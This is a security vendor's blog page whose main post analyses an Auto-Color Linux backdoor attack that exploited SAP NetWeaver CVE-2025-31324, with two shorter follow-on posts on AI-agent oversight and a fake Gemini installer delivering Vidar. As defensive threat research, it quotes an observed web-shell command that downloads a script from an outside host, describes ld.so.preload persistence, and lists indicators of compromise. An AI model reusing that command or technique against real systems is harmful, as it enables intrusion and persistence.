July 29, 2025

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

This blog examines a real-world Auto-Color malware attack that originated from the exploitation of CVE-2025-31324. Learn how Darktrace identified and contained the threat using AI-driven detection and response, with additional support from its expert analyst team.

Written by

Owen Finn

Cyber Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Owen Finn

Cyber Analyst

Jul 2025

In April 2025, Darktrace identified an Auto-Color backdoor malware attack taking place on the network of a US-based chemicals company.

Over the course of three days, a threat actor gained access to the customer’s network, attempted to download several suspicious files and communicated with malicious infrastructure linked to Auto-Color malware.

After Darktrace successfully blocked the malicious activity and contained the attack, the Darktrace Threat Research team conducted a deeper investigation into the malware.

They discovered that the threat actor had exploited CVE-2025-31324 to deploy Auto-Color as part of a multi-stage attack — the first observed pairing of SAP NetWeaver exploitation with the Auto-Color malware.

Furthermore, Darktrace’s investigation revealed that Auto-Color is now employing suppression tactics to cover its tracks and evade detection when it is unable to complete its kill chain.

What is CVE-2025-31324?

On April 24, 2025, the software provider SAP SE disclosed a critical vulnerability in its SAP Netweaver product, namely CVE-2025-31324. The exploitation of this vulnerability would enable malicious actors to upload files to the SAP Netweaver application server, potentially leading to remote code execution and full system compromise. Despite the urgent disclosure of this CVE, the vulnerability has been exploited on several systems [1]. More information on CVE-2025-31324 can be found in our previous discussion.

What is Auto-Color Backdoor Malware?

The Auto-Color backdoor malware, named after its ability to rename itself to “/var/log/cross/auto-color” after execution, was first observed in the wild in November 2024 and is categorized as a Remote Access Trojan (RAT).

Auto-Colour has primarily been observed targeting universities and government institutions in the US and Asia [2].

What does Auto-Color Backdoor Malware do?

It is known to target Linux systems by exploiting built-in system features like ld.so.preload, making it highly evasive and dangerous, specifically aiming for persistent system compromise through shared object injection.

Each instance uses a unique file and hash, due to its statically compiled and encrypted command-and-control (C2) configuration, which embeds data at creation rather than retrieving it dynamically at runtime. The behavior of the malware varies based on the privilege level of the user executing it and the system configuration it encounters.

How does Auto-Color work?

The malware’s process begins with a privilege check; if the malware is executed without root privileges, it skips the library implant phase and continues with limited functionality, avoiding actions that require system-level access, such as library installation and preload configuration, opting instead to maintain minimal activity while continuing to attempt C2 communication. This demonstrates adaptive behavior and an effort to reduce detection when running in restricted environments.

If run as root, the malware performs a more invasive installation, installing a malicious shared object, namely **libcext.so.2**, masquerading as a legitimate C utility library, a tactic used to blend in with trusted system components. It uses dynamic linker functions like dladdr() to locate the base system library path; if this fails, it defaults to /lib.

Gaining persistence through preload manipulation

To ensure persistence, Auto-Color modifies or creates /etc/ld.so.preload, inserting a reference to the malicious library. This is a powerful Linux persistence technique as libraries listed in this file are loaded before any others when running dynamically linked executables, meaning Auto-Color gains the ability to silently hook and override standard system functions across nearly all applications.

Once complete, the ELF binary copies and renames itself to “**/var/log/cross/auto-color**”, placing the implant in a hidden directory that resembles system logs. It then writes the malicious shared object to the base library path.

A delayed payload activated by outbound communication

To complete its chain, Auto-Color attempts to establish an outbound TLS connection to a hardcoded IP over port 443. This enables the malware to receive commands or payloads from its operator via API requests [2].

Interestingly, Darktrace found that Auto-Color suppresses most of its malicious behavior if this connection fails - an evasion tactic commonly employed by advanced threat actors. This ensures that in air-gapped or sandboxed environments, security analysts may be unable to observe or analyze the malware’s full capabilities.

If the C2 server is unreachable, Auto-Color effectively stalls and refrains from deploying its full malicious functionality, appearing benign to analysts. This behavior prevents reverse engineering efforts from uncovering its payloads, credential harvesting mechanisms, or persistence techniques.

In real-world environments, this means the most dangerous components of the malware only activate when the attacker is ready, remaining dormant during analysis or detonation, and thereby evading detection.

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

On April 28, 2025, Darktrace’s Security Operations Centre (SOC) received an alert for a suspicious ELF file downloaded on an internet-facing device likely running SAP Netweaver. ELF files are executable files specific to Linux, and in this case, the unexpected download of one strongly indicated a compromise, marking the delivery of the Auto-Color malware.

Figure 1: A timeline breaking down the stages of the attack

Early signs of unusual activity detected by Darktrace

While the first signs of unusual activity were detected on April 25, with several incoming connections using URIs containing /developmentserver/metadatauploader, potentially scanning for the CVE-2025-31324 vulnerability, active exploitation did not begin until two days later.

Initial compromise via ZIP file download followed by DNS tunnelling requests

In the early hours of April 27, Darktrace detected an incoming connection from the malicious IP address 91.193.19[.]109[.] 6.

The telltale sign of CVE-2025-31324 exploitation was the presence of the URI ‘/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1’, combined with a ZIP file download.

The device immediately made a DNS request for the Out-of-Band Application Security Testing (OAST) domain aaaaaaaaaaaa[.]d06oojugfd4n58p4tj201hmy54tnq4rak[.]oast[.]me.

OAST is commonly used by threat actors to test for exploitable vulnerabilities, but it can also be leveraged to tunnel data out of a network via DNS requests.

Darktrace’s Autonomous Response capability quickly intervened, enforcing a “pattern of life” on the offending device for 30 minutes. This ensured the device could not deviate from its expected behavior or connections, while still allowing it to carry out normal business operations.

Figure 2: Alerts from the device’s Model Alert Log showing possible DNS tunnelling requests to ‘request bin’ services.

Figure 3: Darktrace’s Autonomous Response enforcing a “pattern of life” on the compromised device following a suspicious tunnelling connection.

Continued malicious activity

The device continued to receive incoming connections with URIs containing ‘/developmentserver/metadatauploader’. In total seven files were downloaded (see filenames in Appendix).

Around 10 hours later, the device made a DNS request for ‘ocr-freespace.oss-cn-beijing.aliyuncs[.]com’.

In the same second, it also received a connection from 23.186.200[.]173 with the URI ‘/irj/helper.jsp?cmd=curl -O hxxps://ocr-freespace.oss-cn-beijing.aliyuncs[.]com/2025/config.sh’, which downloaded a shell script named config.sh.

Execution

This script was executed via the helper.jsp file, which had been downloaded during the initial exploit, a technique also observed in similar SAP Netweaver exploits [4].

Darktrace subsequently observed the device making DNS and SSL connections to the same endpoint, with another inbound connection from 23.186.200[.]173 and the same URI observed again just ten minutes later.

The device then went on to make several connections to 47.97.42[.]177 over port 3232, an endpoint associated with Supershell, a C2 platform linked to backdoors and commonly deployed by China-affiliated threat groups [5].

Less than 12 hours later, and just 24 hours after the initial exploit, the attacker downloaded an ELF file from http://146.70.41.178:4444/logs, which marked the delivery of the Auto-Color malware.

Figure 4: Darktrace’s detection of unusual outbound connections and the subsequent file download from http://146.70.41.178:4444/logs, as identified by Cyber AI Analyst.

A deeper investigation into the attack

Darktrace’s findings indicate that CVE-2025-31324 was leveraged in this instance to launch a second-stage attack, involving the compromise of the internet-facing device and the download of an ELF file representing the Auto-Color malware—an approach that has also been observed in other cases of SAP NetWeaver exploitation [4].

Darktrace identified the activity as highly suspicious, triggering multiple alerts that prompted triage and further investigation by the SOC as part of the Darktrace Managed Detection and Response (MDR) service.

During this investigation, Darktrace analysts opted to extend all previously applied Autonomous Response actions for an additional 24 hours, providing the customer’s security team time to investigate and remediate.

Figure 5: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

At the host level, the malware began by assessing its privilege level; in this case, it likely detected root access and proceeded without restraint. Following this, the malware began the chain of events to establish and maintain persistence on the device, ultimately culminating an outbound connection attempt to its hardcoded C2 server.

Figure 6: Cyber AI Analyst’s investigation into the unusual connection attempts from the device to the C2 endpoint.

Over a six-hour period, Darktrace detected numerous attempted connections to the endpoint 146.70.41[.]178 over port 443. In response, Darktrace’s Autonomous Response swiftly intervened to block these malicious connections.

Given that Auto-Color relies heavily on C2 connectivity to complete its execution and uses shared object preloading to hijack core functions without modifying existing binaries, the absence of a successful connection to its C2 infrastructure (in this case, 146.70.41[.]178) causes the malware to sleep before trying to reconnect.

While Darktrace’s analysis was limited by the absence of a live C2, prior research into its command structure reveals that Auto-Color supports a modular C2 protocol. This includes reverse shell initiation (0x100), file creation and execution tasks (0x2xx), system proxy configuration (0x300), and global payload manipulation (0x4XX). Additionally, core command IDs such as 0,1, 2, 4, and 0xF cover basic system profiling and even include a kill switch that can trigger self-removal of the malware [2]. This layered command set reinforces the malware’s flexibility and its dependence on live operator control.

Thanks to the timely intervention of Darktrace’s SOC team, who extended the Autonomous Response actions as part of the MDR service, the malicious connections remained blocked. This proactive prevented the malware from escalating, buying the customer’s security team valuable time to address the threat.

Conclusion

Ultimately, this incident highlights the critical importance of addressing high-severity vulnerabilities, as they can rapidly lead to more persistent and damaging threats within an organization’s network. Vulnerabilities like CVE-2025-31324 continue to be exploited by threat actors to gain access to and compromise internet-facing systems. In this instance, the download of Auto-Color malware was just one of many potential malicious actions the threat actor could have initiated.

From initial intrusion to the failed establishment of C2 communication, the Auto-Color malware showed a clear understanding of Linux internals and demonstrated calculated restraint designed to minimize exposure and reduce the risk of detection. However, Darktrace’s ability to detect this anomalous activity, and to respond both autonomously and through its MDR offering, ensured that the threat was contained. This rapid response gave the customer’s internal security team the time needed to investigate and remediate, ultimately preventing the attack from escalating further.

Credit to Harriet Rayner (Cyber Analyst), Owen Finn (Cyber Analyst), Tara Gould (Threat Research Lead) and Ryan Traill (Analyst Content Lead)

Appendices

MITRE ATT&CK Mapping

Malware - RESOURCE DEVELOPMENT - T1588.001

Drive-by Compromise - INITIAL ACCESS - T1189

Data Obfuscation - COMMAND AND CONTROL - T1001

Non-Standard Port - COMMAND AND CONTROL - T1571

Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol - EXFILTRATION - T1048.003

Masquerading - DEFENSE EVASION - T1036

Application Layer Protocol - COMMAND AND CONTROL - T1071

Unix Shell – EXECUTION - T1059.004

LC_LOAD_DYLIB Addition – PERSISTANCE - T1546.006

Match Legitimate Resource Name or Location – DEFENSE EVASION - T1036.005

Web Protocols – COMMAND AND CONTROL - T1071.001

Indicators of Compromise (IoCs)

Filenames downloaded:

exploit.properties
helper.jsp
0KIF8.jsp
cmd.jsp
test.txt
uid.jsp
vregrewfsf.jsp

Auto-Color sample:

270fc72074c697ba5921f7b61a6128b968ca6ccbf8906645e796cfc3072d4c43 (sha256)

IP Addresses

146[.]70[.]19[.]122
149[.]78[.]184[.]215
196[.]251[.]85[.]31
120[.]231[.]21[.]8
148[.]135[.]80[.]109
45[.]32[.]126[.]94
110[.]42[.]42[.]64
119[.]187[.]23[.]132
18[.]166[.]61[.]47
183[.]2[.]62[.]199
188[.]166[.]87[.]88
31[.]222[.]254[.]27
91[.]193[.]19[.]109
123[.]146[.]1[.]140
139[.]59[.]143[.]102
155[.]94[.]199[.]59
165[.]227[.]173[.]41
193[.]149[.]129[.]31
202[.]189[.]7[.]77
209[.]38[.]208[.]202
31[.]222[.]254[.]45
58[.]19[.]11[.]97
64[.]227[.]32[.]66

Darktrace Model Detections

Compromise / Possible Tunnelling to Bin Services

Anomalous Server Activity / New User Agent from Internet Facing System

Anomalous File / Incoming ELF File

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous Connection / New User Agent to IP Without Hostname

Experimental / Mismatched MIME Type From Rare Endpoint V4

Compromise / High Volume of Connections with Beacon Score

Device / Initial Attack Chain Activity

Device / Internet Facing Device with High Priority Alert

Compromise / Large Number of Suspicious Failed Connections

Model Alerts for CVE

Compromise / Possible Tunnelling to Bin Services

Compromise / High Priority Tunnelling to Bin Services

Autonomous Response Model Alerts

Antigena / Network::External Threat::Antigena Suspicious File Block

Antigena / Network::External Threat::Antigena File then New Outbound Block

Antigena / Network::Significant Anomaly::Antigena Controlled and Model Alert

Experimental / Antigena File then New Outbound Block

Antigena / Network::External Threat::Antigena Suspicious Activity Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

Antigena / Network::Significant Anomaly::Antigena Alerts Over Time Block

Antigena / MDR::Model Alert on MDR-Actioned Device

Antigena / Network::Significant Anomaly::Antigena Enhanced Monitoring from Client Block

References

1. [Online] https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/.

2. https://unit42.paloaltonetworks.com/new-linux-backdoor-auto-color/. [Online]

3. [Online] (https://www.darktrace.com/blog/tracking-cve-2025-31324-darktraces-detection-of-sap-netweaver-exploitation-before-and-after-disclosure#:~:text=June%2016%2C%202025-,Tracking%20CVE%2D2025%2D31324%3A%20Darktrace's%20detection%20of%20SAP%20Netweaver,guidance%.

4. [Online] https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/.

5. [Online] https://www.forescout.com/blog/threat-analysis-sap-vulnerability-exploited-in-the-wild-by-chinese-threat-actor/.

Written by

Owen Finn

Cyber Analyst

Inside the SOC

Written by

Owen Finn

Cyber Analyst

Margaret Cunningham, PhD

VP, Security & AI Strategy, Field CISO

Watch the NIS2 Webinar

Blog

August 21, 2026

AI Agents: Securing the Path from Intent to Action

The UK’s National Cyber Security Centre (NCSC) recently published guidance on managing the cyber risk of agentic AI. While the document is framed as interim advice as more formal guidance is developed, the framing reflects the current state of the industry: organizations are already deploying agents into production environments while standards, controls, and operating models for autonomous systems remain unsettled. Governance is evolving alongside adoption rather than preceding it, a reality which underscores the importance of robust controls.

The NCSC’s guidance recommends aligning controls to an agent's level of autonomy, assigning distinct identities, limiting permissions, constraining access to systems and data, monitoring activity, maintaining human oversight, and preserving the ability to intervene when necessary. Most of these recommendations will sound familiar to security teams. The challenge is not the novelty of the controls. It is the type of system those controls now need to govern.

The shift from model security to agent security

For several years, AI security discussions have focused heavily on models. Can a model be manipulated? Jailbroken? Trusted? Can it expose information it should not? Those questions remain important, but they capture only part of the problem. A model generating text is one thing. A system connected to identities, applications, tools, workflows, and business data is another.

The difference becomes clearer when comparing a chatbot that answers questions with an agent that can retrieve customer records, update tickets, invoke tools, trigger workflows, and interact with external systems. The underlying model may be identical. Its access is not. The security question begins to shift from what the model knows to what the system can do.

The same theme appears in the Five Eyes statement released earlier this year, describing AI as a force multiplier that is accelerating both offensive and defensive cyber operations. The NCSC guidance explores what that reality looks like when autonomous systems begin operating inside enterprise environments.

Securing AI agents in operation

The NCSC spends relatively little time debating model behavior and considerably more time discussing identity, permissions, monitoring, oversight, containment, and response. Agents are treated as participants within an environment rather than isolated pieces of technology.

That's broadly consistent with how we think about the problem at Darktrace.

An agent should not be treated as an extension of a user account. It develops its own behavioral patterns. It accesses systems, interacts with data, invokes tools, and moves across workflows in ways that can be observed independently. Understanding what an agent is permitted to do matters. Understanding how it actually behaves once deployed, and whether that behavior aligns with business intent, matters just as much.

Identity provides an obvious example. The NCSC recommends assigning distinct identities to agents rather than allowing them to disappear into surrounding human or service accounts. Most importantly, assigning agents distinct identities enables independent behavioral monitoring.

Development assumptions vs. real-world behavior

The same principle extends to monitoring. NCSC guidance places agent activity within normal security operations rather than treating it as a separate AI governance function. Many of the controls described are put in place before an agent begins operating. Sandboxing, credential design, approval workflows and human oversight all reflect judgments about how the system is expected to behave and what risks it is likely to create.

Actual use may challenge those assumptions. Access patterns change. Workflows expand. Systems begin interacting with resources they have never touched before. Processes that appeared reasonable during design behave differently in production. Human oversight requirements may turn out to be either excessive or inadequate once the system is operating at scale and operating within the context of unique business processes.

The Five Eyes statement points to a similar issue: organizations need confidence that controls continue to work as intended once systems are exposed to real users, data, tools and operational pressures. Often, the question is not whether an agent is technically allowed to perform an action, but whether its behavior remains consistent with the role it was intended to play.

Monitoring and governance of AI agents go hand-in-hand

This problem is exactly why monitoring and governance should be treated as part of the same process. Governance sets the initial parameters for deployment, while monitoring provides evidence about whether those parameters remain appropriate. That evidence should, in turn, inform changes to permissions, controls and oversight.

This matters increasingly as autonomous systems are integrated into business processes. The relevant risk is shaped not only by the model or agent itself, but by what it can access, what actions it can take, and how its behavior changes in practice.

Developing continuous oversight of AI agent behavior

The implication is clear: governance cannot end at deployment. Organizations need a way to understand how agents behave after deployment, test whether controls remain appropriate, and adjust them as conditions change. That requires visibility not just into technical activity, but into whether that activity makes sense in the context of the business process the agent is intended to support.

This is where business-centric behavioral security can become critical. Risk does not emerge from the model itself: it emerges from the actions an autonomous system takes within the enterprise and the downstream consequences of those actions.

An agent can operate exactly as intended and still create risk if it accesses sensitive information in an unexpected context, exercises permissions in ways that create unintended exposure, or influences business processes in ways that were not anticipated during design and review.

Traditional governance vs. behavioral analytics

Traditional governance frameworks provide assurance at a point in time. Behavioral security can provide ongoing visibility into how autonomous systems interact with the organization they are meant to serve. Rather than focusing exclusively on model performance or policy compliance, organizations need to understand whether an agent's behavior aligns with business intent, operational expectations, and acceptable risk tolerances as conditions change.

As enterprises move from isolated AI deployments to interconnected ecosystems of agents, visibility into behavior becomes as important as visibility into code. Governance determines what an autonomous system is permitted to do. Behavioral analytics helps determine what it is doing, what business outcomes it is producing, and whether those outcomes remain aligned with the organization's objectives.

‍

[related-resource]

About the author

Margaret Cunningham, PhD

VP, Security & AI Strategy, Field CISO

Blog

August 19, 2026

When AI Becomes the Lure: A Fake Gemini Installer Delivers Vidar

Key takeaways

‍

Darktrace observed a customer download a fake Google Gemini installer hosted on Google Colab, resulting in the execution of the Vidar information stealer.
Darktrace identified the compromise through behavioral indicators, including suspicious process activity, anomalous network communications, and indicators of credential theft, before autonomously containing the threat.
The incident highlights how threat actors are increasingly exploiting trusted platforms and a growing interest in AI tools to distribute malware through seemingly legitimate software acquisition workflows.

‍

The Growing Abuse of Generative AI

As organizations are increasingly adopting generative AI tools into their daily workflows, attackers are adapting their distribution methods accordingly too. As part of their day-to-day work, users are now searching for AI assistants, programming tools, browser extensions, desktop applications, and productivity integrations.

Recent reports have highlighted campaigns that use fake AI software and AI-related installers to distribute malware and steal credentials [1]. Researchers have documented campaigns that exploit fake AI-themed websites and services to distribute information stealers and backdoors [2]. Security researchers have also observed attackers disguising malware as legitimate installers for AI software to increase the likelihood of victim interaction and execution [3].

In July 2026, Darktrace observed one such case within a customer environment in the Europe, Middle East and Africa (EMEA) region, where attackers used a fake generative AI installer to deliver the prolific information stealer Vidar. This incident highlights how threat actors are exploiting interest in AI services to distribute established malware using increasingly convincing social engineering techniques.

How a Fake Gemini Installer Delivered Vidar

Initial Access: From Search Result to Malware Download

Unlike many malware campaigns that begin with a phishing email, this activity appears to have originated from a user searching for and downloading software.

Darktrace first observed unusual activity on the customer network after a suspicious executable file was launched from a user’s Download folder. Further investigation revealed that the file purported to be a Google Gemini installer and was named “Download_Google_Gemini_For_Windows.exe”.

During the initial analysis, it was noted that the top search result for the suspicious filename associated pointed to a file hosted on Google Colab, a cloud-based Jupyter notebook platform, commonly used by developers, researchers, and data scientists to run code and machine learning workloads through a web browser. By leveraging another trusted Google platform, the attacker increased the likelihood that users would perceive the download as legitimate, making the lure more convincing to those searching for Gemini-related software.

‍

Figure 1: The Google Colab page containing a download prompt for the fake Google Gemini installer.

Further investigation of the Google Colab page revealed that the download prompt redirected users to a secondary site, hxxps://micronsoftwares[.]com, which posed as a "Windows Software Hub" download page and offered the fake Gemini installer for download.

‍

Figure 2: The secondary website posing as a "Windows Software Hub" download page, which likely hosted the fake Gemini installer.

While the investigation did not uncover any HTTP or file-download telemetry data that conclusively identified the download source, SSL communication sessions with Google Colab were detected immediately before the suspicious file was executed. The timing of these connections suggests that the user interacted with the Colab resource before being redirected to the secondary site from which the executable was downloaded.

‍

The user was not simply tricked into opening an email attachment; instead, the attacker embedded malicious content into a process many users would consider entirely legitimate: searching for and downloading software associated with a trusted platform.

‍

Weaponizing Trusted Platforms

At the time of review (July 15, 2026), Darktrace's Threat Research team confirmed that the Google Colab page was still active and prompting users to download a ZIP archive containing the binary file.

‍

The archive also appeared to contain a README file instructing users to run the binary file with administrator privileges and add it to their antivirus software’s exception lists. These instructions suggest that the campaign relied heavily on social engineering, convincing users to take actions that would facilitate malware execution and potentially bypass security checks.

The use of a legitimate platform also complicates the user’s decision-making. Downloads associated with a trusted service are often perceived as less suspicious than those hosted on unfamiliar domains. When combined with the branding of a widely used AI tool, the lure becomes even more convincing.

Malware Analysis

Darktrace’s Threat Research team identified the executable file as the information-stealing malware Vidar. Analysis revealed that the binary file was a newer Go-compiled variant that communicated with Telegram-based infrastructure. Darktrace’s researchers also identified dtm[.]kijangturbo88[.]top as a command-and-control (C2) endpoint associated with the activity. While the malware itself was not novel, the lure and delivery mechanism was.

For a deeper look at the information stealer, see Darktrace’s 2023 analysis of Vidar.

‍

**Figure 3:** Darktrace’s detection of the unusual outbound connection associated with the fake Gemini installer.

Shortly after execution, the process established communications with the external IP address 91.98.98[.]86 via port 443, directly linking the executable to suspicious network activity observed on the device. Subsequent open-source intelligence (OSINT) analysis of the revealed multiple malicious associations [5].

Additional Darktrace detections included unusual SSL activity from the affected device. Analysis of related SSL telemetry identified 91.98.111[.]49 as additional infrastructure associated with the activity [6].

Subsequent alerts from the customer's Microsoft Defender for Endpoint integration later confirmed activity consistent with the theft of browser credentials and other sensitive data from the affected endpoint.

Taken together, these detections provided a clear picture of the attack, from the execution of a suspicious file and unusual network connections to indicators of C2 activity and credential theft.

‍

**Figure 4:** Darktrace’s detection of anomalous activity following the execution of the fake Gemini installer, seen in the Model Alert Event Log.

Darktrace's Autonomous Response

Following the detection, Darktrace’s Autonomous Response took immediate containment action, including blocking communication with suspicious external infrastructure, including 91.98.98[.]86, and quarantining the compromised device.

Despite the apparent legitimacy of the activity, with the installer hosted on a trusted platform and resembling a routine software download, Darktrace was able to detect and contain the attack because the device's behavior deviated from its normal pattern.

‍

**Figure 5:** Automated containment actions implemented by Darktrace's Autonomous Response following the detection of activity associated with the fake Gemini installer.

Conclusion

This investigation highlights how threat actors continue to adapt established malware delivery techniques to emerging technology trends. While the malware itself was not new, the distribution method was. By disguising Vidar as a Google Gemini installer and hosting the malicious content on a trusted platform, the attack aligned its lure with a growing behavioral trend: users actively searching for AI tools and services as part of their day-to-day work.

Although fake installers are not a new phenomenon, the rapid rise of generative AI has created new opportunities for threat actors. Rather than relying solely on traditional delivery methods, attackers can now target users who are actively searching for AI applications. As AI adoption continues to accelerate across enterprise environments, organizations should remain alert to campaigns that exploit this interest through fake applications, malicious websites, manipulated search results, the misuse of trusted platforms, and AI-themed social engineering.

Credit to Rushanth Ramanathan (Cyber Analyst) Joanna Ng (Detection Engineer)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

Security Integration / C2 Activity and Integration Detection
Endpoint / New Suspicious Executable Launched
Endpoint / Process Connection / Unusual Connection from New Process
Anomalous Connection / Rare External SSL Self-Signed
Security Integration / High Severity Integration Detection
Antigena / Network / Significant Anomaly / Antigena Significant Security Integration and Network Activity Block

•Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block

‍

List of Indicators of Compromise (IoCs)

‍

IoC	Type	Description
`Download_Google_Gemini_For_Windows.exe`	File	Fake Gemini-themed installer observed during the investigation.
`GoogleAppInstaller.exe`	File	Related executable identified through endpoint telemetry.
`91.98.98[.]86`	IP Address	External destination contacted by the malicious executable.
`91.98.111[.]49`	IP Address	Related infrastructure identified through SSL certificate pivoting.
`dtm[.]kijangturbo88[.]top`	Domain	Command-and-control endpoint identified during malware analysis.
`1e13c2c9eac72daf63fd00a9946878949e159ae6ec51b54ec64f942d79d61913`	SHA256	Malware sample associated with the fake Gemini installer.

MITRE ATT@CK Mapping

‍

MITRE ATT&CK Mapping	Tactic	Technique
Initial Access	`T1204`	User Execution
Execution	`T1204.002`	User Execution: Malicious File
Defence Evasion	`T1036`	Masquerading
Credential Access	`T1555`	Credentials from Password Stores
Credential Access	`T1555.003`	Credentials from Web Browsers
Command and Control	`T1071`	Application Layer Protocol
Exfiltration	`T1041`	Exfiltration Over C2 Channel

About the author

Rushanth Ramanathan

Cyber Analyst

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Auto-Color Backdoor: How Darktrace Thwarted a Stealthy Linux Intrusion

What is CVE-2025-31324?

What is Auto-Color Backdoor Malware?

What does Auto-Color Backdoor Malware do?

How does Auto-Color work?

Gaining persistence through preload manipulation

A delayed payload activated by outbound communication

Darktrace’s coverage of the Auto-Color malware

Initial alert to Darktrace’s SOC

Early signs of unusual activity detected by Darktrace

Initial compromise via ZIP file download followed by DNS tunnelling requests

Continued malicious activity

Execution

A deeper investigation into the attack

Conclusion

Appendices

Darktrace Model Detections

References

When AI Becomes the Lure: A Fake Gemini Installer Delivers Vidar

AI Agents: Securing the Path from Intent to Action

Enjoying the blog?

More in this series

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Hiding in Plain Sight: Uncovering a Multi-Stage Ransomware Attack Through Behavioral Detection

9 Stages of Ransomware & How AI Responds

Blog

August 21, 2026

AI Agents: Securing the Path from Intent to Action

The shift from model security to agent security

Securing AI agents in operation

Development assumptions vs. real-world behavior

Monitoring and governance of AI agents go hand-in-hand

Developing continuous oversight of AI agent behavior

Traditional governance vs. behavioral analytics

Blog

August 19, 2026

When AI Becomes the Lure: A Fake Gemini Installer Delivers Vidar

Key takeaways

The Growing Abuse of Generative AI

How a Fake Gemini Installer Delivered Vidar

Initial Access: From Search Result to Malware Download

Weaponizing Trusted Platforms

Malware Analysis

Conclusion

Appendices

Darktrace Model Detections

List of Indicators of Compromise (IoCs)

MITRE ATT@CK Mapping